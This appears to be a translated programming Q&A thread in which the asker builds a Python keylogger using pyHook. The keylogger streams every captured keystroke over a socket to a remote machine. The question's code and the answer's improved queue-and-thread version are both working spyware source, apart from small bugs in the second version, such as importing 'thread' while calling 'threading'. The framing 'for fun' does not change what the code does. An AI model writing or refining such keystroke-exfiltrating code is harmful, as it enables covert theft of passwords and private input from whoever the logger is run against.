Python 向键盘记录器添加套接字
为了好玩,我正在制作一个键盘记录器。我想要的是,键盘记录程序将像聊天客户端一样,将每个按键发送给另一方。然而,当我尝试这样做时,它只发送我按下的第一个键,而不发送跟随它的其他键Python 向键盘记录器添加套接字,python,sockets,keylogger,Python,Sockets,Keylogger,为了好玩,我正在制作一个键盘记录器。我想要的是,键盘记录程序将像聊天客户端一样,将每个按键发送给另一方。然而,当我尝试这样做时,它只发送我按下的第一个键,而不发送跟随它的其他键 import socket import pythoncom import pyHook HOST = "192.168.2.103" PORT = 5000 s = socket.socket() s.connect((HOST, PORT )) def OnKeyboardEvent(event):
import socket
import pythoncom
import pyHook
HOST = "192.168.2.103"
PORT = 5000
s = socket.socket()
s.connect((HOST, PORT ))
def OnKeyboardEvent(event):
global s
keylog = chr(event.Ascii)
s.send(keylog.encode("utf-8"))
return True
h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()
如中所述:
如果回调函数没有及时返回,事件会自动沿着钩子回调链转发,如果没有其他回调阻止它,则会转发到目标窗口。因此,应该在回调中进行尽可能少的处理。相反,回调应该将事件添加到队列中,供应用程序稍后处理,并快速决定是否阻止消息
调用socket.send
可以阻止。它可以很容易地阻塞足够长的时间,以便PyHook中止您的钩子,或者只是在将来调用时禁用它。要解决这个问题,严格按照医生说的去做。例如(未经测试,但至少应该是一个足以让您开始学习的示例):
首先,您确定它只发送了第一个,还是您只在服务器端执行了一个
recv
?不,我在服务器端的while循环中放置了.recv。我想我理解了我的错误。我将socket.accept()也放在while循环中。这就是为什么,它卡在第一个按键上。无论如何谢谢你:)
import queue
import socket
import thread
import pythoncom
import pyHook
q = queue.Queue()
HOST = "192.168.2.103"
PORT = 5000
def background():
s = socket.socket()
s.connect((HOST, PORT))
while True:
msg = q.get()
s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()
def OnKeyboardEvent(event):
keylog = chr(event.Ascii)
q.put(keylog.encode("utf-8"))
h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()